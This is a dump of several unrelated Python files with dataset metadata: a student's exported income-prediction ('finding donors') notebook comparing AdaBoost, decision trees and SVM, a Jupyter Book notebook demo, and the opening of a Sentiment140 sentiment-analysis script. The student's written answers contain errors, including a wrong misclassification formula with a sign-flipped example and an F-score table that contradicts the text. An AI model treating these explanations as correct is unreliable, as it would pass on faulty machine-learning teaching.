Highly prone to overfit\n#     2. Optimal decision tree is NP-complete problem\n#     3. Prone to sampling\n#     4. Tree splitting is locally greedy\n# \n# - What makes this model a good candidate for the problem, given what you know about the data?\n# \n#     For This problem, Decision Tree models are particularly proficient at binary classification, This algorithm may run with problems due to the number of features, extra attention necessary to sellect feature.\n# \n#     Reference:\n#     - https://en.wikipedia.org/wiki/Decision_tree_learning\n#     - https://www.brighthubpm.com/project-planning/106000-advantages-of-decision-tree-analysis/\n#     - http://www.simafore.com/blog/bid/62333/4-key-advantages-of-using-decision-trees-for-predictive-analytics\n# \n# Support Vector Machines (SVM):\n# \n# - Describe one real-world application in industry where the model can be applied.\n# \n#     This algorith can be used in many real-worl application. One of the importatnt application Image Clasification. \n# \n# - What are the strengths of the model; when does it perform well?\n# \n#     1. This algorithm will in complicated domains\n#     2. Can easily identify complex relationship as this is non-linear\n#     3. This algorithm perfom both classification and regression \n# \n# - What are the weaknesses of the model; when does it perform poorly?\n# \n#     1. The complex data transformations and resulting boundary plane are very difficult to interpret.\n#     2. In large datasets it does not work well.\n#     3. Don't work well when there's lots of noise, as this algoright can overfit to noise in the data\n# \n# - What makes this model a good candidate for the problem, given what you know about the data?\n# \n#     This non-linear classification algorithm which may prove useful for this dataset. In large dataset with too many features, SVM will perform better. \n# \n#     Reference:\n#     - https://en.wikipedia.org/wiki/Support_vector_machine\n#     - https://www.kdnuggets.com/2016/07/support-vector-machines-simple-explanation.html\n\n# ### Implementation - Creating a Training and Predicting Pipeline\n# To properly evaluate the performance of each model you've chosen, it's important that you create a training and predicting pipeline that allows you to quickly and effectively train models using various sizes of training data and perform predictions on the testing data. Your implementation here will be used in the following section.\n# In the code block below, you will need to implement the following:\n#  - Import `fbeta_score` and `accuracy_score` from [`sklearn.metrics`](http://scikit-learn.org/stable/modules/classes.html#sklearn-metrics-metrics).\n#  - Fit the learner to the sampled training data and record the training time.\n#  - Perform predictions on the test data `X_test`, and also on the first 300 training points `X_train[:300]`.\n#    - Record the total prediction time.\n#  - Calculate the accuracy score for both the training subset and testing set.\n#  - Calculate the F-score for both the training subset and testing set.\n#    - Make sure that you set the `beta` parameter!\n\n# In[11]:\n\n\n# TODO: Import two metrics from sklearn - fbeta_score and accuracy_score\nfrom sklearn.metrics import fbeta_score\nfrom sklearn.metrics import accuracy_score\n\ndef train_predict(learner, sample_size, X_train, y_train, X_test, y_test): \n    '''\n    inputs:\n       - learner: the learning algorithm to be trained and predicted on\n       - sample_size: the size of samples (number) to be drawn from training set\n       - X_train: features training set\n       - y_train: income training set\n       - X_test: features testing set\n       - y_test: income testing set\n    '''\n    \n    results = {}\n    \n    # TODO: Fit the learner to the training data using slicing with 'sample_size' using .fit(training_features[:], training_labels[:])\n    start = time() # Get start time\n    learner = learner.fit(X_train[:sample_size], y_train[:sample_size])\n    end = time() # Get end time\n    \n    # TODO: Calculate the training time\n    results['train_time'] = (end - start)\n        \n    # TODO: Get the predictions on the test set(X_test),\n    #       then get predictions on the first 300 training samples(X_train) using .predict()\n    start = time() # Get start time\n    predictions_test = learner.predict(X_test)\n    predictions_train = learner.predict(X_train[:300])\n    end = time() # Get end time\n    \n    # TODO: Calculate the total prediction time\n    results['pred_time'] = (end - start)\n            \n    # TODO: Compute accuracy on the first 300 training samples which is y_train[:300]\n    results['acc_train'] = accuracy_score(y_train[:300], predictions_train)\n        \n    # TODO: Compute accuracy on test set using accuracy_score()\n    results['acc_test'] = accuracy_score(y_test, predictions_test)\n    \n    # TODO: Compute F-score on the the first 300 training samples using fbeta_score()\n    results['f_train'] = fbeta_score(y_train[:300], predictions_train, average='binary', beta=0.5)\n        \n    # TODO: Compute F-score on the test set which is y_test\n    results['f_test'] = fbeta_score(y_test, predictions_test, average='binary', beta=0.5)\n       \n    # Success\n    print(\"{} trained on {} samples.\".format(learner.__class__.__name__, sample_size))\n    \n    # Return the results\n    return results\n\n\n# ### Implementation: Initial Model Evaluation\n# In the code cell, you will need to implement the following:\n# - Import the three supervised learning models you've discussed in the previous section.\n# - Initialize the three models and store them in `'clf_A'`, `'clf_B'`, and `'clf_C'`.\n#   - Use a `'random_state'` for each model you use, if provided.\n#   - **Note:** Use the default settings for each model \u2014 you will tune one specific model in a later section.\n# - Calculate the number of records equal to 1%, 10%, and 100% of the training data.\n#   - Store those values in `'samples_1'`, `'samples_10'`, and `'samples_100'` respectively.\n# \n# **Note:** Depending on which algorithms you chose, the following implementation may take some time to run!\n\n# In[12]:\n\n\n# TODO: Import the three supervised learning models from sklearn\nfrom sklearn.ensemble import AdaBoostClassifier\nfrom sklearn.tree import DecisionTreeClassifier\nfrom sklearn.svm import SVC\n\n# TODO: Initialize the three models\nclf_A = AdaBoostClassifier(random_state = 1)\nclf_B = DecisionTreeClassifier(random_state = 1)\nclf_C = SVC(random_state = 1)\n\n# TODO: Calculate the number of samples for 1%, 10%, and 100% of the training data\n# HINT: samples_100 is the entire training set i.e. len(y_train)\n# HINT: samples_10 is 10% of samples_100 (ensure to set the count of the values to be `int` and not `float`)\n# HINT: samples_1 is 1% of samples_100 (ensure to set the count of the values to be `int` and not `float`)\nsamples_100 = len(X_train)\nsamples_10 = int(samples_100/10)\nsamples_1 = int(samples_100/100)\n#print(X_train)\n# Collect results on the learners\nresults = {}\nfor clf in [clf_A, clf_B, clf_C]:\n    clf_name = clf.__class__.__name__\n    results[clf_name] = {}\n    for i, samples in enumerate([samples_1, samples_10, samples_100]):\n        results[clf_name][i] =         train_predict(clf, samples, X_train, y_train, X_test, y_test)\n\n# Run metrics visualization for the three supervised learning models chosen\nvs.evaluate(results, accuracy, fscore)\n\n\n# ----\n# ## Improving Results\n# In this final section, you will choose from the three supervised learning models the *best* model to use on the student data. You will then perform a grid search optimization for the model over the entire training set (`X_train` and `y_train`) by tuning at least one parameter to improve upon the untuned model's F-score. \n\n# ### Question 3 - Choosing the Best Model\n# \n# * Based on the evaluation you performed earlier, in one to two paragraphs, explain to *CharityML* which of the three models you believe to be most appropriate for the task of identifying individuals that make more than \\$50,000. \n# \n# ** HINT: ** \n# Look at the graph at the bottom left from the cell above(the visualization created by `vs.evaluate(results, accuracy, fscore)`) and check the F score for the testing set when 100% of the training set is used. Which model has the highest score? Your answer should include discussion of the:\n# * metrics - F score on the testing when 100% of the training data is used, \n# * prediction/training time\n# * the algorithm's suitability for the data.\n\n# **Answer:**\n# AdaBoost Classifier is most appropriate for the task of identifying individuals income more than $50,000. This model provides higher accurac score and F-score with the data set compare to \n# Decesion Tree Classifier or the SVM Classifier. Drawback in Decision Tree Classifier is overfit on the training data as this algorithm perform well with 300 samples of training data than on test data.\n# Drawback of the SVM is used to train the classifier and then to make predictions is making moe challenging. This model unable to calculate F-score with training data subset as well as testing data subset, \n# because of this classifier can't predict a possitive class. For above resesons, Decision Tree and SVM Classifier not choosen. The AdaBoost classifier perform well on binary classification and it \n# would appear best model for CharityML.\n\n# ### Question 4 - Describing the Model in Layman's Terms\n# \n# * In one to two paragraphs, explain to *CharityML*, in layman's terms, how the final model chosen is supposed to work. Be sure that you are describing the major qualities of the model, such as how the model is trained and how the model makes a prediction. Avoid using advanced mathematical jargon, such as describing equations.\n# \n# ** HINT: **\n# \n# When explaining your model, if using external resources please include all citations.\n\n# **Answer:**\n# - AdaBoost is an ensemble classifier model to create high accurate prediction rule by combining many relatively weak and inaccurate rules. Most widely used and well studied algorithm with the applications in numerous fields. More preciesly, Adaboost is a meta-algorithm for machine learning which is an actual machine learning model rather than a way to combine machine learning model. Adaboost is a combination of other Ensemble machine learning classifier e.g. Regression, B-trees, Random forests, Neural Networks). It is taking several weak predictive models and combining them in weighted fashion to form a new classifier. \n# \n#     - How the model is trained?\n#         - AdaBoost is for improving weak learners. Each iteration of boosting creates three weak classifiers as mentioned below-\n#             1. Classifier is trained normally on a subset of the data\n#             2. Classifier is trained on data in which the first classifier achieved only 50% correct identification\n#             3. Classifier is trained on data for which the first and second classifier disagree\n#     - Explaination:\n#         - Weak classifier \"decision stump\" is pepared on the training data using the weighted samples. Only binary classification problems are supported, so each decision stump makes one decision on one input variable and outputs either +1.0 or -1.0 value for the first or second class value. The misclassification rate is calculated for the trained model as error = (correct \u2013 N) / N Where \"error\" is the misclassification rate, \"correct\" are the number of training instance predicted correctly by the model and \"N\" is total number of training instances. \n#         - Example: if the model predicted 78 of 100 training instances correctly the misclassification rate would be (78-100)/100 = 0.22. This is modified to use the weighting of the training instances: The weighted sum of the misclassification rate: error = sum(w(i) * terror(i)) / sum(w) where \"w\" is weight for training instance, \"i\" and \"terror\" is the prediction error for training instance i which is 1 if misclassified and 0 if correctly classified\n# \n#         - A stage value is calculated for the trained model which provides a weighting for any predictions that the model makes. The stage value for a trained model is calculated as follows: weight predictions from the model (stage) = ln((1-error) / error) Where ln() is the natural logarithm and \"error\" is the misclassification error for the model. The effect of the stage weight is that more accurate models have more weight or contribution to the final prediction. \n#         - The training weights are updated giving more weight to incorrectly predicted instances, and less weight to correctly predicted instances. The weight of one training instance (w) is updated using: w = w * exp(stage * terror) Where w is the weight for a specific training instance, exp() is numerical constant \"Euler\u2019s number raised to a power, stage is the misclassification rate for the weak classifier and terror is weak classifier made predicting the output variable for the training instance, evaluated as:If output variable for the training instance (y) equal to prediction from the weak learner(p)terror = 0 , otherewise terror = 1\n#         - This has the effect of not changing the weight if the training instance was classified correctly and making the weight slightly larger if the weak learner misclassified the instance.\n#         \n#     - Weak learners: A 'weak' learner is nothing but, which performs relatively poor (rules of thumb which classify the data correctly at better than 50%). Its accuracy is above chance, but just barely. There is often, but not always, the added implication that it is computationally simple. Weak learner also suggests that many instances of the algorithm are being pooled (via boosting, bagging, etc) together into to create a \"strong\" classifier.\n#     \n#     - Predictions are made by calculating the weighted average of the weak classifiers. For instance, each weak learner calculates a predicted value as either +1.0 or -1.0. The predicted values are weighted by each weak learners stage value. The prediction for the AdaBoost model is taken as a the sum of the weighted predictions. If the sum is positive, then the first class is predicted, if negative the second class is predicted.\n#     \n#  - Conclution: Mixing different models together with differing weights can help to improve classification and prediction. Interestingly, if more models included, get better the classification. This is unique and somewhat counterintuitive property of boosting methods because one would assume adding more models would lead to overfitting, but it does not occur.\n# - Reference:\n#     - https://towardsdatascience.com/adaboost-for-dummies-breaking-down-the-math-and-its-equations-into-simple-terms-87f439757dcf\n#     - https://users.lal.in2p3.fr/kegl/teaching/stages/notes/tutorial\n#     - http://www-math.mit.edu/~rothvoss/18.304.3PM/Presentations/1-Eric-Boosting304FinalRpdf.pdf\n#     - https://prateekvjoshi.com/2014/05/05/what-is-adaboost/\n#     - https://machinelearningmastery.com/boosting-and-adaboost-for-machine-learning/\n\n# ### Implementation: Model Tuning\n# Fine tune the chosen model. Use grid search (`GridSearchCV`) with at least one important parameter tuned with at least 3 different values. You will need to use the entire training set for this. In the code cell below, you will need to implement the following:\n# - Import [`sklearn.grid_search.GridSearchCV`](http://scikit-learn.org/0.17/modules/generated/sklearn.grid_search.GridSearchCV.html) and [`sklearn.metrics.make_scorer`](http://scikit-learn.org/stable/modules/generated/sklearn.metrics.make_scorer.html).\n# - Initialize the classifier you've chosen and store it in `clf`.\n#  - Set a `random_state` if one is available to the same state you set before.\n# - Create a dictionary of parameters you wish to tune for the chosen model.\n#  - Example: `parameters = {'parameter' : [list of values]}`.\n#  - **Note:** Avoid tuning the `max_features` parameter of your learner if that parameter is available!\n# - Use `make_scorer` to create an `fbeta_score` scoring object (with $\\beta = 0.5$).\n# - Perform grid search on the classifier `clf` using the `'scorer'`, and store it in `grid_obj`.\n# - Fit the grid search object to the training data (`X_train`, `y_train`), and store it in `grid_fit`.\n# \n# **Note:** Depending on the algorithm chosen and the parameter list, the following implementation may take some time to run!\n\n# In[18]:\n\n\n# TODO: Import 'GridSearchCV', 'make_scorer', and any other necessary libraries\nfrom sklearn.grid_search import GridSearchCV\nfrom sklearn.metrics import make_scorer\nfrom sklearn.ensemble import AdaBoostClassifier\n\n# TODO: Initialize the classifier\nclf = AdaBoostClassifier(random_state = 1)\n\n# TODO: Create the parameters list you wish to tune, using a dictionary if needed.\n# HINT: parameters = {'parameter_1': [value1, value2], 'parameter_2': [value1, value2]}\nparameters = {'n_estimators' : [50,75,100,200], 'learning_rate' : [0.5,0.8,1,1.2]}\n\n# TODO: Make an fbeta_score scoring object using make_scorer()\nscorer = make_scorer(fbeta_score, beta=0.5)\n\n# TODO: Perform grid search on the classifier using 'scorer' as the scoring method using GridSearchCV()\ngrid_obj =  GridSearchCV(clf, parameters, scoring=scorer) \n\n# TODO: Fit the grid search object to the training data and find the optimal parameters using fit()\ngrid_fit = grid_obj.fit(X_train, y_train)\n\n# Get the estimator\nbest_clf = grid_fit.best_estimator_\n\n# Make predictions using the unoptimized and model\npredictions = (clf.fit(X_train, y_train)).predict(X_test)\nbest_predictions = best_clf.predict(X_test)\n\n# Report the before-and-afterscores\nprint(\"Unoptimized model\\n------\")\nprint(\"Accuracy score on testing data: {:.4f}\".format(accuracy_score(y_test, predictions)))\nprint(\"F-score on testing data: {:.4f}\".format(fbeta_score(y_test, predictions, beta = 0.5)))\nprint(\"\\nOptimized Model\\n------\")\nprint(\"Final accuracy score on the testing data: {:.4f}\".format(accuracy_score(y_test, best_predictions)))\nprint(\"Final F-score on the testing data: {:.4f}\".format(fbeta_score(y_test, best_predictions, beta = 0.5)))\n\n\n# ### Question 5 - Final Model Evaluation\n# \n# * What is your optimized model's accuracy and F-score on the testing data? \n# * Are these scores better or worse than the unoptimized model? \n# * How do the results from your optimized model compare to the naive predictor benchmarks you found earlier in **Question 1**?_  \n# \n# **Note:** Fill in the table below with your results, and then provide discussion in the **Answer** box.\n\n# #### Results:\n# \n# |     Metric     | Unoptimized Model | Optimized Model |\n# | :------------: | :---------------: | :-------------: | \n# | Accuracy Score |     0.8576        |     0.8646      |\n# | F-score        |     0.7246        |     0.3765      |\n# \n\n# **Answer:**\n# Both of the unoptimized and optimized models work better with this data set compare to naive predictor result found in Question 1. Optimized model also slightly better than \n# the unoptimized model. Table above shown the comparison result for both Optimized and Unoptimized model.\n\n# ----\n# ## Feature Importance\n# \n# An important task when performing supervised learning on a dataset like the census data we study here is determining which features provide the most predictive power. By focusing on the relationship between only a few crucial features and the target label we simplify our understanding of the phenomenon, which is most always a useful thing to do. In the case of this project, that means we wish to identify a small number of features that most strongly predict whether an individual makes at most or more than \\$50,000.\n# \n# Choose a scikit-learn classifier (e.g., adaboost, random forests) that has a `feature_importance_` attribute, which is a function that ranks the importance of features according to the chosen classifier.  In the next python cell fit this classifier to training set and use this attribute to determine the top 5 most important features for the census dataset.\n\n# ### Question 6 - Feature Relevance Observation\n# When **Exploring the Data**, it was shown there are thirteen available features for each individual on record in the census data. Of these thirteen records, which five features do you believe to be most important for prediction, and in what order would you rank them and why?\n\n# **Answer:**\n# 1. Education-num: Econometrics model would be used as an example during my Economics degree was one that showed that having higher levels of education is correlated with higher income. \n# 2. Hours worked Around 40 hours mark would have less of an explanatory impact, but those working say 15-20 hours in a week would be more likely to be earning incomes lower than $50k on the other hand, incomes would be above $50k, those who all are working 80 hours or above in a week. \n# 3. Capital gain: Would make sense; those who are earning more would also receive capital gains throughout the year, as they are more likely to have disposable income to allocate to their investment portfolios.\n# 4. Age: those who all are elder, earn higher incomes than those who all are younger, because they have more years of experience.\n# 5. Occupation: There are few occupations that earn workers more than others; In this dataset the categories 'Exec-managerial' and 'Prof-speciality' indicated have higher incomes. Reason for this is a well paying jobs typically require some sort of degree qualification.\n\n# ### Implementation - Extracting Feature Importance\n# Choose a `scikit-learn` supervised learning algorithm that has a `feature_importance_` attribute availble for it. This attribute is a function that ranks the importance of each feature when making predictions based on the chosen algorithm.\n# \n# In the code cell below, you will need to implement the following:\n#  - Import a supervised learning model from sklearn if it is different from the three used earlier.\n#  - Train the supervised model on the entire training set.\n#  - Extract the feature importances using `'.feature_importances_'`.\n\n# In[15]:\n\n\n# TODO: Import a supervised learning model that has 'feature_importances_'\nfrom sklearn.ensemble import AdaBoostClassifier\n\n# TODO: Train the supervised model on the training set using .fit(X_train, y_train)\nclassifier = AdaBoostClassifier(random_state = 1)\nmodel = classifier.fit(X_train, y_train)\n\n# TODO: Extract the feature importances using .feature_importances_ \nimportances = model.feature_importances_\n\n# Plot\nvs.feature_plot(importances, X_train, y_train)\n\n\n# ### Question 7 - Extracting Feature Importance\n# \n# Observe the visualization created above which displays the five most relevant features for predicting if an individual makes at most or above \\$50,000.  \n# * How do these five features compare to the five features you discussed in **Question 6**?\n# * If you were close to the same answer, how does this visualization confirm your thoughts? \n# * If you were not close, why do you think these features are more relevant?\n\n# **Answer:**\n# - How do these five features compare to the five features you discussed in Question 6?\n# As discribed in question 6 above 5 features would be better predction for Adaboost and it may vary depending on the model used. And my #5 choice of Occupation is substitute of capital-loss for this data set.\n# \n# - If you were close to the same answer, how does this visualization confirm your thoughts? \n# I was close to the answer. I agree capital loss, age, capital gain, hours per week and education are main feautures to predict an individual makes more than 50,000 USD. \n# \n# - If you were not close, why do you think these features are more relevant?\n# As per me also Occupation features stands in top 5 in deciding the same beacause person working having good occupation earns more compared to person having some low occupation.\n\n# ### Feature Selection\n# How does a model perform if we only use a subset of all the available features in the data? With less features required to train, the expectation is that training and prediction time is much lower \u2014 at the cost of performance metrics. From the visualization above, we see that the top five most important features contribute more than half of the importance of **all** features present in the data. This hints that we can attempt to *reduce the feature space* and simplify the information required for the model to learn. The code cell below will use the same optimized model you found earlier, and train it on the same training set *with only the top five important features*. \n\n# In[16]:\n\n\n# Import functionality for cloning a model\nfrom sklearn.base import clone\n\n# Reduce the feature space\nX_train_reduced = X_train[X_train.columns.values[(np.argsort(importances)[::-1])[:5]]]\nX_test_reduced = X_test[X_test.columns.values[(np.argsort(importances)[::-1])[:5]]]\n\n# Train on the \"best\" model found from grid search earlier\nclf = (clone(best_clf)).fit(X_train_reduced, y_train)\n\n# Make new predictions\nreduced_predictions = clf.predict(X_test_reduced)\n\n# Report scores from the final model using both versions of data\nprint(\"Final Model trained on full data\\n------\")\nprint(\"Accuracy on testing data: {:.4f}\".format(accuracy_score(y_test, best_predictions)))\nprint(\"F-score on testing data: {:.4f}\".format(fbeta_score(y_test, best_predictions, beta = 0.5)))\nprint(\"\\nFinal Model trained on reduced data\\n------\")\nprint(\"Accuracy on testing data: {:.4f}\".format(accuracy_score(y_test, reduced_predictions)))\nprint(\"F-score on testing data: {:.4f}\".format(fbeta_score(y_test, reduced_predictions, beta = 0.5)))\n\n\n# ### Question 8 - Effects of Feature Selection\n# \n# * How does the final model's F-score and accuracy score on the reduced data using only five features compare to those same scores when all features are used?\n# * If training time was a factor, would you consider using the reduced data as your training set?\n\n# **Answer:**\n# Accuracy score: 0.8646 is higher with Final Model trained on Full Data Set than accuracy score: 0.8357 with Final Model trained on Reduced Data Set. \n# Similarly F-score: 0.7365 is also higher than reduced data set F-score: 0.6850.\n# With Laege data set, if the choosen model take long time to train, then training time is important factor to consider. As per the result comparison the \n# final model trained with reduced data set would be best approach but it may not be ideal.\n\n# > **Note**: Once you have completed all of the code implementations and successfully answered each question above, you may finalize your work by exporting the iPython Notebook as an HTML document. You can do this by using the menu above and navigating to  \n# **File -> Download as -> HTML (.html)**. Include the finished document along with this notebook as your submission.\n\n# ##Before You Submit\n# You will also need run the following in order to convert the Jupyter notebook into HTML, so that your submission will include both files.\n\n# In[19]:\n\n\nget_ipython().getoutput('jupyter nbconvert *.ipynb')\n\n\n# In[ ]:\n\n\n\n\n", "meta": {"hexsha": "df48dcc0d332c0baea9cbac2bb08428052ba555f", "size": 109687, "ext": "py", "lang": "Python", "max_stars_repo_path": "finding_donors.py", "max_stars_repo_name": "sidheswar12/finding_donors", "max_stars_repo_head_hexsha": "0f17f5e85e054937f3d26ba3a1e383d647d87d13", "max_stars_repo_licenses": ["MIT"], "max_stars_count": 1, "max_stars_repo_stars_event_min_datetime": "2020-04-15T21:39:39.000Z", "max_stars_repo_stars_event_max_datetime": "2020-04-15T21:39:39.000Z", "max_issues_repo_path": "finding_donors.py", "max_issues_repo_name": "sidheswar12/finding_donors", "max_issues_repo_head_hexsha": "0f17f5e85e054937f3d26ba3a1e383d647d87d13", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "finding_donors.py", "max_forks_repo_name": "sidheswar12/finding_donors", "max_forks_repo_head_hexsha": "0f17f5e85e054937f3d26ba3a1e383d647d87d13", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 143.3816993464, "max_line_length": 57539, "alphanum_fraction": 0.3572711443, "include": true, "reason": "import numpy", "num_tokens": 12481, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.4610167793123159, "lm_q2_score": 0.11596071519881658, "lm_q1q2_score": 0.053459835447711136}}
{"text": "#!/usr/bin/env python\n# coding: utf-8\n\n# (file-types:notebooks)=\n# # Jupyter Notebook files\n# \n# You can create content with Jupyter notebooks.\n# For example, the content for the current page is contained in {download}`this notebook file <./notebooks.ipynb>`.\n# \n# ```{margin}\n# If you'd like to write in plain-text files, but still keep a notebook structure, you can write\n# Jupyter notebooks with MyST Markdown, which are then automatically converted to notebooks.\n# See [](./myst-notebooks.md) for more details.\n# ```\n# \n# Jupyter Book supports all Markdown that is supported by Jupyter Notebook.\n# This is mostly a flavour of Markdown called [CommonMark Markdown](https://commonmark.org/) with minor modifications.\n# For more information about writing Jupyter-flavoured Markdown in Jupyter Book, see [](./markdown.md).\n# \n# ## Code blocks and image outputs\n# \n# Jupyter Book will also embed your code blocks and output in your book.\n# For example, here's some sample Matplotlib code:\n\n# In[1]:\n\n\nfrom matplotlib import rcParams, cycler\nimport matplotlib.pyplot as plt\nimport numpy as np\nplt.ion()\n\n\n# In[2]:\n\n\n# Fixing random state for reproducibility\nnp.random.seed(19680801)\n\nN = 10\ndata = [np.logspace(0, 1, 100) + np.random.randn(100) + ii for ii in range(N)]\ndata = np.array(data).T\ncmap = plt.cm.coolwarm\nrcParams['axes.prop_cycle'] = cycler(color=cmap(np.linspace(0, 1, N)))\n\n\nfrom matplotlib.lines import Line2D\ncustom_lines = [Line2D([0], [0], color=cmap(0.), lw=4),\n                Line2D([0], [0], color=cmap(.5), lw=4),\n                Line2D([0], [0], color=cmap(1.), lw=4)]\n\nfig, ax = plt.subplots(figsize=(10, 5))\nlines = ax.plot(data)\nax.legend(custom_lines, ['Cold', 'Medium', 'Hot']);\n\n\n# Note that the image above is captured and displayed in your site.\n\n# In[3]:\n\n\n# Fixing random state for reproducibility\nnp.random.seed(19680801)\n\nN = 10\ndata = [np.logspace(0, 1, 100) + .1*np.random.randn(100) + ii for ii in range(N)]\ndata = np.array(data).T\ncmap = plt.cm.coolwarm\nrcParams['axes.prop_cycle'] = cycler(color=cmap(np.linspace(0, 1, N)))\n\n\nfrom matplotlib.lines import Line2D\ncustom_lines = [Line2D([0], [0], color=cmap(0.), lw=4),\n                Line2D([0], [0], color=cmap(.5), lw=4),\n                Line2D([0], [0], color=cmap(1.), lw=4)]\n\nfig, ax = plt.subplots(figsize=(10, 5))\nlines = ax.plot(data)\nax.legend(custom_lines, ['Cold', 'Medium', 'Hot'])\nax.set(title=\"Smoother linez\")\n\n\n# ```{margin} **You can also pop out content to the side!**\n# For more information on how to do this,\n# check out the {ref}`layout/sidebar` section.\n# ```\n\n# ## Removing content before publishing\n# \n# You can also remove some content before publishing your book to the web. \n# For reference, {download}`you can download the notebook content for this page <notebooks.ipynb>`.\n\n# In[4]:\n\n\nthisvariable = \"none of this should show up in the textbook\"\n\nfig, ax = plt.subplots()\nx = np.random.randn(100)\ny = np.random.randn(100)\nax.scatter(x, y, s=np.abs(x*100), c=x, cmap=plt.cm.coolwarm)\nax.text(0, .5, thisvariable, fontsize=20, transform=ax.transAxes)\nax.set_axis_off()\n\n\n# You can **remove only the code** so that images and other output still show up.\n\n# In[5]:\n\n\nthisvariable = \"this plot *will* show up in the textbook.\"\n\nfig, ax = plt.subplots()\nx = np.random.randn(100)\ny = np.random.randn(100)\nax.scatter(x, y, s=np.abs(x*100), c=x, cmap=plt.cm.coolwarm)\nax.text(0, .5, thisvariable, fontsize=20, transform=ax.transAxes)\nax.set_axis_off()\n\n\n# Which works well if you'd like to quickly display cell output without cluttering your content with code.\n# This works for any cell output, like a Pandas DataFrame.\n\n# In[6]:\n\n\nimport pandas as pd\npd.DataFrame([['hi', 'there'], ['this', 'is'], ['a', 'DataFrame']], columns=['Word A', 'Word B'])\n\n\n# See {ref}`hiding/remove-content` for more information about hiding and removing content.\n\n# ## Interactive outputs\n# \n# We can do the same for *interactive* material. Below we'll display a map\n# using [folium](https://python-visualization.github.io/folium/). When your book is built,\n# the code for creating the interactive map is retained.\n# \n# ```{margin}\n# **This will only work for some packages.** They need to be able to output standalone\n# HTML/Javascript, and not\n# depend on an underlying Python kernel to work.\n# ```\n\n# In[7]:\n\n\nimport folium\nm = folium.Map(\n    location=[45.372, -121.6972],\n    zoom_start=12,\n    tiles='Stamen Terrain'\n)\n\nfolium.Marker(\n    location=[45.3288, -121.6625],\n    popup='Mt. Hood Meadows',\n    icon=folium.Icon(icon='cloud')\n).add_to(m)\n\nfolium.Marker(\n    location=[45.3311, -121.7113],\n    popup='Timberline Lodge',\n    icon=folium.Icon(color='green')\n).add_to(m)\n\nfolium.Marker(\n    location=[45.3300, -121.6823],\n    popup='Some Other Location',\n    icon=folium.Icon(color='red', icon='info-sign')\n).add_to(m)\n\nm\n\n\n# ## Rich outputs from notebook cells\n\n# Because notebooks have rich text outputs, you can store these in\n# your Jupyter Book as well! For example, here is the command line help\n# menu, see how it is nicely formatted.\n\n# In[8]:\n\n\nget_ipython().system('jupyter-book build --help')\n\n\n# And here is an error. You can mark notebook cells as \"expected to error\" by adding a\n# `raises-exception` tag to them.\n\n# In[9]:\n\n\nthis_will_error\n\n\n# ## More features with Jupyter notebooks\n# \n# There are many other features of Jupyter notebooks to take advantage of,\n# such as automatically generating Binder links for notebooks or connecting your content with a kernel in the cloud.\n# For more information browse the pages in this site, and [](content:code-outputs) in particular.\n", "meta": {"hexsha": "5015f3fbca72fd7a194a60b7acc75569b6c4ecdc", "size": 5593, "ext": "py", "lang": "Python", "max_stars_repo_path": "docs/_build/jupyter_execute/papers/reinforcement_learning/notebooks.py", "max_stars_repo_name": "cancermqiao/CancerMBook", "max_stars_repo_head_hexsha": "bd26c0e3e1f76f66b75aacf75b3cb8602715e803", "max_stars_repo_licenses": ["Apache-2.0"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "docs/_build/jupyter_execute/papers/reinforcement_learning/notebooks.py", "max_issues_repo_name": "cancermqiao/CancerMBook", "max_issues_repo_head_hexsha": "bd26c0e3e1f76f66b75aacf75b3cb8602715e803", "max_issues_repo_licenses": ["Apache-2.0"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "docs/_build/jupyter_execute/papers/reinforcement_learning/notebooks.py", "max_forks_repo_name": "cancermqiao/CancerMBook", "max_forks_repo_head_hexsha": "bd26c0e3e1f76f66b75aacf75b3cb8602715e803", "max_forks_repo_licenses": ["Apache-2.0"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 27.6881188119, "max_line_length": 118, "alphanum_fraction": 0.6939030932, "include": true, "reason": "import numpy", "num_tokens": 1539, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.4610167645017354, "lm_q2_score": 0.11596071519881658, "lm_q1q2_score": 0.05345983373026563}}
{"text": "'''\nDate: 29 October 2017\n@authors: Apurba Sengupta\n\n'''\n\nimport numpy as np\nimport pandas as pd\nimport matplotlib.pyplot as plt\nimport time, re\nfrom sklearn.feature_extraction.text import CountVectorizer\nfrom scipy import sparse, interpolate\n\nstart_time1 = time.time()\n\n# **********************************************************************************************\n#\n#   function definitions\n#    \n# **********************************************************************************************\n    \n\ndef loadTrainData(filename):\n\n    '''\n    Question 1.1\n\n    For the first part you are required to download the Sentiment140 dataset found\n    here (http://cs.stanford.edu/people/alecmgo/trainingandtestdata.zip). Unzip the \n    file and read in the CSV with training data (it has 1.6 million entries). The   \n    file contains a table of Sentiment, UserID, Date, no-query, user id, the actual\n    tweet. Read in only the sentiment and the tweet. You are welcome to use other \n    values as additional features. Sentiment in the data file is classified as\n    either 0 (negative emotion) or 4 (positive emotion). Convert these to -1 and 1\n    respectively.\n\n    '''\n\n    print \"\\n Loading the training data ... \"\n\n    # read the data into a pandas DataFrsme object and convert it into a NumPy matrix\n    train_data_matrix = np.array(pd.read_csv(filename, header = None))\n\n    # the last column of the matrix is the tweet, taken only upto the first comma in the tweet\n    X_train = np.array([tweet.split(',')[0] for tweet in train_data_matrix[:,-1]])\n\n    # the first column of the matrix is the sentiment (either 0 or 4)\n    Y_train = train_data_matrix[:,0]\n\n    # label the sentimnents with value 4 as 1\n    Y_train[Y_train==4] = 1\n\n    # label the sentiments with value 0 as -1\n    Y_train[Y_train==0] = -1\n\n    end_time1 = time.time() - start_time1\n    \n    print \"\\n Training data Loaded ...\"\n\n    print \"\\n Time taken to load the training data (in seconds) = \", end_time1\n\n    start_time2 = time.time()\n\n    '''\n    Question 1.2 : cleaning up the data \n    \n    Perform the following operations on each of the tweets.\n    1. Convert all letters into lowercase.\n    2. Convert all occurences of 'www.' or 'https://' or 'http://' to 'URL'.\n    3. Remove additional white spaces.\n    4. Remove all 